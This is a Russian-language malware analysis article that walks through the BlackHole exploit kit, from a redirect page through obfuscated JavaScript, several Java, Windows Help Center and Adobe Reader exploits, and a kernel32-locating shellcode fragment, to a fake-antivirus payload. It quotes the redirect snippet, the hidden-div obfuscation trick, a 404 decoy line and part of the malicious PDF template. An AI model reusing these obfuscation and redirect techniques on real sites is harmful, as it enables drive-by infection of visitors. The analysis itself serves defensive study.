Содержание статьи
В этой статье я решил рассмотреть не PE’шник, как делал в предыдущих статьях, а целый эксплойт-пак. Для разбора я выбрал BlackHole exploit kit. Он очень популярен в последнее время — так, например, недавно им был инфицирован сайт американской почтовой службы. С этого сайта происходил редирект как раз на страницу, где размещался вышеупомянутый эксплойт-пак.
Итак, в тексте я представлю полную схему работы этой штуки. Все будет описано с самого начала (простого редиректа) и до конечной цели (исполняемого файла).
Поехали!
Начинаем наш обзор. Все начинается с того, что пользователь заходит на зараженный легальный сайт или, например, кликает по ссылке из спамерского послания. После этого он попадает на промежуточную страницу, которая осуществляет редирект. В моем примере она выглядела вот так:
<html>
<head>
<script language='javascript'>
location.href = 'http://******.net/index.php?tp=98a8c9d4da3191f5';
</script>
<body>
</body>
</html>
Здесь все довольно примитивно — пустая HTML-страница, с которой выполняется переадресация посредством ‘location.href=’. А затем начинается самое интересное — пользовательский браузер загрузит основную страницу BlackHole, с которой будет организовываться выполнение всех остальных эксплойтов. Первым делом я открыл файл в Hiew. Что же я обнаружил? В самом начале, после тэгов <html> и <body>, идет описание свойств стиля ‘asd’:
.asd {width:0;height:0;overflow:hidden;}
Далее в div’е с этим стилем расположены какие-то (по-видимому, зашифрованные) данные. Как раз для того, чтобы пользователь не увидел их на экране, и применяется специально подготовленный стиль, прячущий от глаз все лишнее. А заканчивается документ кодом на JS, который слегка обфусцирован и, очевидно, должен работать с информацией в контейнере <div>.
Пора приступать к разбору непосредственно кода. Я отлаживал скрипт с помощью плагина FireBug для FireFox, попутно используя MSDN, чтобы понять назначение некоторых методов и свойств.
Что и как здесь работает, я объясню с конца. Суть всего скрипта — выполнить eval над данными, расположенными в <div>. Но, как видно из скриншота, там расположены какие-то числа, причем не только целые, а еще и вещественные (v*1,22222). Таким образом, к этим числам нужно применить метод fromCharCode, который преобразовывает число в ANSI-символ.
Это и происходит в коде, расположенном на предпоследней строке. Однако не все так просто — строки eval и fromCharCode получаются путем использования хитрых манипуляций. А именно — к объекту document добавляется стиль, к которому в поле innerHTML прибавляется строка #va {background:url(data:,ring.from4harCo)}. Далее из этой строки дергаются символы va для сборки eval и ring.from4CharCo для сборки fromCharCode. Что же получается на выходе после eval’а? А как раз тот документ, который и будет непосредственно запускать эксплойты.
Я сохранил вывод после eval’а в отдельный файл и приступил к его анализу. Файл начинается со следующей строки:
document.write('<center><h1>404 Not Found</h1></center><hr>');
Таким образом, на страницу выводится классическое сообщение об ошибке 404, хотя со страницей, очевидно, все в порядке. Это еще одна уловка, чтобы пользователь ничего не заподозрил. На первый взгляд, кода в html’ке оказалось достаточно много, однако обфускация практически отсутствовала, а большую его часть занимали разнообразные проверки версий плагинов и создание объектов.
Запуск эксплойтов тривиален, поэтому эту часть я решил опустить и перейти непосредственно к описанию каждого из них. Для начала приведу список уязвимостей, которые эксплуатируются: CVE-2010-1885, CVE-2010-4452, CVE-2010-3552, ADODB.Stream и CVE-2010-0188. Начну с самого простого.
CVE-2010-1885
Первый подопытный — VBS-скрипт, эксплуатирующий уязвимость в ADODB.Stream, исправленную еще в середине 2004 (!) года.
Выполнен он типично для такого рода скриптов — слегка обфусцирован и не более того. Например, часть строк была подвержена реверсу. Его функционал заключается в загрузке и запуске файлов из интернета. Но как тебе известно из системных сообщений, файлы из интернета могут быть не только полезны, но и опасны :).
Для реализации описанного функционала используются объекты MSXML2.XMLHTTP, ADODB.Stream и Wscript. Любопытно, что эта уязвимость стара как мир, но до сих пор используется.
CVE-2010-4452
Следующий исследуемый образец — эксплойт, использующий CVE2010-4452. Эта уязвимость была официально опубликована Oracle в середине февраля этого года. С ее помощью можно загрузить Javaапплет и исполнить его в обход системы безопасности. Для этого нужно заполнить поля code и codebase тэга <applet> специальным образом. Одна из особенностей этого эксплойта заключается в том, что адрес, по которому производится загрузка, представляет собой двойное слово в десятичной системе исчисления. Поясню: браузер переведет это число в IP-адрес автоматически. То есть, если перейти по адресу http://1476066051, то браузер успешно откроет страницу популярного российского поисковика.
CVE-2010-3552
Следующий эксплойт, удостоенный чести быть разобранным, использует уязвимость CVE-2010-3552. Дыра опять-таки расположена в Java Runtime Environment. Эксплуатируется она элементарно — если Java-апплет запускается с параметром launchjnlp, то загрузчик копирует строку из поля docbase в стэковый буфер при помощи функции sprintf. Думаю, что дальше пояснять не нужно. Шелл-код также не представляет особенного интереса — вначале идет стандартное получение kernel32 через PEB:
pushad
xor ecx,ecx
mov esi,fs:[ecx][30]
mov esi,[esi][0C]
mov esi,[esi][1C]
mov ebx,[esi][08]
mov edx,[esi][20]
mov esi,[esi]
cmp [edx][18],cx
jne
mov [esp][1C],ebx
popad
retn
Далее происходит получение адресов API-функций по их хэшам. Завершающий этап — скачивание файла из urlmon.dll при помощи URLDownloadToFile, и затем — его запуск.
Эксплойт для Help and Support Center
На подходе следующий эксплойт, который использует уязвимость в весьма экзотическом компоненте OC Windows — Help and Support Center. Фишка в том, что для доступа к онлайн-ресурсам этот компонент использует специальный адрес, начинающийся с hcp://. А теперь о самом эксплойте — он основан на технике сокрытия кода, аналогичной той, что использует первичная html’ка, которая разбиралась в самом начале. Здесь так же, как и там, используется тэг <div> в качестве контейнера данных.
Обфускация тоже применена аналогичная. Итак, быстро расшифровав «первый слой», я увидел непосредственно эксплойт, использующий CVE-2010-1885.
Первое, что бросилось в глаза — адрес, начинающийся с hcp:// и обилие повторяющихся символов %A. А второе — разнообразные строки, отвечающие за скачивание и запуск файла: SaveToFile, GET, Adodb.Stream, WshShell.Run, MSXML2.XMLHTTP и так далее. Там же находятся ссылка на скачиваемый файл и его локальное название на жестком диске. Таким образом, суть и этого эксплойта сводится к тому, чтобы просто скачать и запустить файл.
Эксплойт под Adobe Reader и Adobe Acrobat
На очереди остался последний компонент, представляющий собой PDF-документ, а для концовки я оставил PE’шник, который скачивается всеми упомянутыми в статье эксплойтами. Итак, аплодисменты: замыкает наш хит-парад эксплойт под Adobe Reader и Adobe Acrobat.
Как я уже упоминал выше — это PDF’ка. В ней содержится XFA– шаблон и код на JavaScript. Шаблон выглядит следующим образом:
<template xmlns="http://www.xfa.org/schema/xfa-template/2.5/">
<subform layout="tb" locale="en_US" name="asfaewf">
<pageSet>
<pageArea id="roteYom" name="roteYom">
<contentArea h="756pt" w="576pt" x="0.25in" y="0.25in"/>
<medium long="792pt" short="612pt" stock="default"/>
</pageArea>
</pageSet>
<subform h="756pt" w="576pt" name="qwgwqgwqg">
<fi eld h="65mm" name="favwwbw" w="85mm" x="53.6501mm"
y="88.6499mm">
<event activity="initialize" name="loxRote">
<script contentType="application/x-javascript">
Как видишь, здесь создается subform и pageArea, а в первом еще и располагается скрипт, который будет вызываться при открытии документа. То есть при вызове события initialize, которое указано в 'event activity='.
Больше в файле ничего интересного я не обнаружил. Скрипт выполнен способом, аналогичным тому, что я описывал уже два раза выше по тексту. После расшифровки данных в <div> передо мной предстали два шелл-кода. Каждый их них предназначен для определенной версии продукта Adobe, под которым запущен документ. В шеллкодах опять же реализуется загрузка исполняемого файла, а сама уязвимость проявляется при записи в favwwbw.rawValue (по поводу favwwbw — смотри чуть выше) специально сформированного TIFF-изображения.
Ковыряем сам экзешник
Итак, с эксплойт-паком покончено. А на закуску — исполняемый файл, который все так упорно пытаются скачать и запустить. Это оказался типичный лжеантивирус. Запакован он UPX’ом, который я успешно снял при помощи 'upx –d', и защищен неким протектором. Как обычно, использована обфускация и антиэмуляция.
Заключение
В итоге оказалось, что все ухищрения применяются лишь для того, чтобы установить на компьютер поддельный антивирус. Который и будет выкачивать деньги с напуганного и введенного в заблуждение пользователя. Любопытно, что уязвимости используются явно не первой свежести, так что лучше следить за обновлениями популярного софта :).
